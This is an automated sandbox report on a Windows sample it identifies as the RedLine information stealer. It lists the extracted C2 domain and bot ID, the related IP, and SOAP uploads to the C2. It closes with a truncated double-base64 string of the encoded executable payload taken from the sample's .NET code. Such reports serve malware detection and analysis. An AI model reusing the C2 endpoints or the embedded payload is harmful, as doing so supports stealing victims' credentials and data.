Windows Analysis Report JEPayKhzWa

AV Detection:

Found malware configuration

Source: 0.2.JEPayKhzWa.exe.44bdb88.1.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["kurinogti.info:80"], "Bot Id": "MARA"}

Multi AV Scanner detection for domain / URL

Source: kurinogti.info	Virustotal: Detection: 8%			Perma Link
Source: http://kurinogti.info:80/	Virustotal: Detection: 8%			Perma Link

Multi AV Scanner detection for submitted file

Source: JEPayKhzWa.exe	Virustotal: Detection: 60%			Perma Link
Source: JEPayKhzWa.exe	ReversingLabs: Detection: 62%

Compliance:

Uses 32bit PE files

Source: JEPayKhzWa.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: JEPayKhzWa.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: kurinogti.infoContent-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: kurinogti.infoContent-Length: 1098077Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: kurinogti.infoContent-Length: 1098069Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 45.139.184.124 45.139.184.124

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: HostingvpsvilleruRU HostingvpsvilleruRU

Found strings which match to known social media urls

Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp

String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp

String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: kurinogti.info

Posts data to webserver

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: kurinogti.infoContent-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

URLs found in memory or binary data

Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: JEPayKhzWa.exe, 00000004.00000002.713518289.0000000003227000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: JEPayKhzWa.exe, 00000004.00000002.713518289.0000000003227000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: JEPayKhzWa.exe, 00000004.00000002.712813148.000000000151C000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: JEPayKhzWa.exe, 00000004.00000002.713518289.0000000003227000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0L
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp	String found in binary or memory: http://kurinogti.info
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://kurinogti.info/
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp	String found in binary or memory: http://kurinogti.info46kt
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://kurinogti.info:80/
Source: JEPayKhzWa.exe, 00000004.00000002.713518289.0000000003227000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: JEPayKhzWa.exe, 00000004.00000002.712813148.000000000151C000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: JEPayKhzWa.exe, 00000004.00000002.713481969.00000000031FC000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: JEPayKhzWa.exe, 00000004.00000002.713481969.00000000031FC000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: JEPayKhzWa.exe, 00000004.00000002.713481969.00000000031FC000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/0
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsP
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: JEPayKhzWa.exe, 00000004.00000002.713802431.000000000333F000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: JEPayKhzWa.exe, 00000004.00000002.713421106.00000000031B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/ewP
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: JEPayKhzWa.exe	String found in binary or memory: https://api.ip.sb/geoip
Source: JEPayKhzWa.exe, 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.712342229.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: JEPayKhzWa.exe, 00000004.00000002.713481969.00000000031FC000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb46k
Source: JEPayKhzWa.exe	String found in binary or memory: https://api.ipify.org
Source: JEPayKhzWa.exe, 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.712342229.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: JEPayKhzWa.exe, JEPayKhzWa.exe, 00000004.00000002.712342229.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.713576583.000000000323C000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp, JEPayKhzWa.exe, 00000004.00000002.714132894.0000000003536000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: JEPayKhzWa.exe, 00000004.00000002.713518289.0000000003227000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEPayKhzWa.exe, 00000004.00000002.723399580.0000000008401000.00000004.00000001.sdmp, tmp47EE.tmp.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary:

.NET source code contains very large strings

Source: JEPayKhzWa.exe, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 0.0.JEPayKhzWa.exe.f70000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 0.2.JEPayKhzWa.exe.f70000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 3.2.JEPayKhzWa.exe.2c0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 3.0.JEPayKhzWa.exe.2c0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 4.2.JEPayKhzWa.exe.ef0000.1.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916
Source: 4.0.JEPayKhzWa.exe.ef0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Long String: Length: 174916

Contains functionality to call native functions

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058519B8 NtUnmapViewOfSection,		0_2_058519B8
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_05851A70 NtAllocateVirtualMemory,		0_2_05851A70
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058519B3 NtUnmapViewOfSection,		0_2_058519B3
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_05851A68 NtAllocateVirtualMemory,		0_2_05851A68

Detected potential crypto function

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_00F72050		0_2_00F72050
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_032CB950		0_2_032CB950
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_032CE260		0_2_032CE260
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_032CE9EB		0_2_032CE9EB
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_05850550		0_2_05850550
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058F9048		0_2_058F9048
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058FA7D8		0_2_058FA7D8
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058F83D0		0_2_058F83D0
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058FCB10		0_2_058FCB10
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058FD278		0_2_058FD278
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_058FBE70		0_2_058FBE70
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 3_2_002C2050		3_2_002C2050
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_00EF2050		4_2_00EF2050
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_0305D448		4_2_0305D448
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_0305CB50		4_2_0305CB50
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CDF3A0		4_2_05CDF3A0
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CDD100		4_2_05CDD100
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CDD0F1		4_2_05CDD0F1
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CD0040		4_2_05CD0040
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CD2840		4_2_05CD2840
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CD2831		4_2_05CD2831

Sample file is different than original file name gathered from version info

Source: JEPayKhzWa.exe, 00000000.00000000.636379499.0000000000FCE000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameBantingism.exe4 vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe, 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameReunionist.exe4 vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe, 00000003.00000000.642849049.000000000031E000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameBantingism.exe4 vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe, 00000004.00000002.713591036.0000000003240000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe, 00000004.00000002.712365192.000000000041A000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameReunionist.exe4 vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe, 00000004.00000002.712429776.0000000000F4E000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameBantingism.exe4 vs JEPayKhzWa.exe
Source: JEPayKhzWa.exe	Binary or memory string: OriginalFilenameBantingism.exe4 vs JEPayKhzWa.exe

Uses 32bit PE files

Source: JEPayKhzWa.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Yara signature match

Source: 0.2.JEPayKhzWa.exe.43f05b0.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: 0.2.JEPayKhzWa.exe.43f05b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: JEPayKhzWa.exe PID: 7024, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889

.NET source code contains long base64-encoded strings

Source: JEPayKhzWa.exe, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
